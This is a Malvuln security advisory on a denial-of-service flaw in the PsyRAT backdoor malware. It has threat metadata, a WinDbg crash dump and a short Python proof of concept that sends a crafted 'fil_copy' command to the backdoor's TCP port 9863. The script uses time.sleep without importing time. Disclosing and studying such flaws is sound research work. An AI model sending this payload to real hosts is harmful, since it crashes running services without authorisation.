Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/5817183894cb513239f6aef28895130c_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.PsyRat.b Vulnerability: Remote Denial of Service Description: The PsyRAT 1.02 malware listens by default on TCP port 9863. Third-party attackers who can reach infected systems can send a specially crafted command payload that results in access violation and crash. Type: PE32 MD5: 5817183894cb513239f6aef28895130c Vuln ID: MVID-2021-0307 Dropped files: server.exe Disclosure: 07/26/2021 Memory Dump: (f38.160c): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=00000001 edx=0277c51c esi=00000003 edi=00000003 eip=77e5ed3c esp=0277bbcc ebp=0277bd5c iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!NtWaitForMultipleObjects+0xc: 77e5ed3c c21400 ret 14h 0:001> .ecxr eax=00000000 ebx=765a38d0 ecx=00000001 edx=0277c51c esi=00000002 edi=0277cd04 eip=77e4f80a esp=0277c508 ebp=0277c50c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 ntdll!RtlInitAnsiStringEx+0x1a: 77e4f80a 8a01 mov al,byte ptr [ecx] ds:002b:00000001=?? *** ERROR: Symbol file could not be found. Defaulted to export symbols for kernel32.dll - 0:001> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for server.exe *** ERROR: Module load completed but symbols could not be loaded for server.exe Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: ntdll!RtlInitAnsiStringEx+1a 77e4f80a 8a01 mov al,byte ptr [ecx] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 77e4f80a (ntdll!RtlInitAnsiStringEx+0x0000001a) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 00000001 Attempt to read from address 00000001 PROCESS_NAME: server.exe ADDITIONAL_DEBUG_TEXT: Use '!findthebuild' command to search for the target build information. If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols. MODULE_NAME: server FAULTING_MODULE: 77df0000 ntdll DEBUG_FLR_IMAGE_TIMESTAMP: 42827767 ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 00000001 READ_ADDRESS: 00000001 FOLLOWUP_IP: server+268d 0040268d e9aaf1ffff jmp server+0x183c (0040183c) MOD_LIST: <ANALYSIS/> FAULTING_THREAD: 0000160c BUGCHECK_STR: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_ONE_BIT_INVALID_POINTER_READ_WRONG_SYMBOLS PRIMARY_PROBLEM_CLASS: NULL_CLASS_PTR_DEREFERENCE_ONE_BIT DEFAULT_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_ONE_BIT LAST_CONTROL_TRANSFER: from 74c615ff to 77e4f80a STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0277c50c 74c615ff 0277c51c 00000001 00000000 ntdll!RtlInitAnsiStringEx+0x1a 0277c528 74c6d9b5 0277c544 00000001 0277d38d kernel32!Basep8BitStringToDynamicUnicodeString+0x1f 0277c54c 0040268d 0277c904 00000001 00000000 kernel32!CopyFileA+0x25 0277c550 0277c904 00000001 00000000 00401610 server+0x268d 0277c554 00000000 00000000 00401610 00401610 0x277c904 STACK_COMMAND: ~1s; .ecxr ; kb SYMBOL_STACK_INDEX: 3 SYMBOL_NAME: server+268d FOLLOWUP_NAME: MachineOwner IMAGE_NAME: server.exe BUCKET_ID: WRONG_SYMBOLS FAILURE_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_ONE_BIT_c0000005_server.exe!Unknown Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=9863 s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) s.send("\r\n") time.sleep(0.3) s.send("\r\n") time.sleep(0.3) PAYLOAD="fil_copy AAAA" s.send(PAYLOAD) s.close() print("Backdoor.Win32.PsyRat.b / Remote Denial of Service") print("MD5: 5817183894cb513239f6aef28895130c") print("By Malvuln") Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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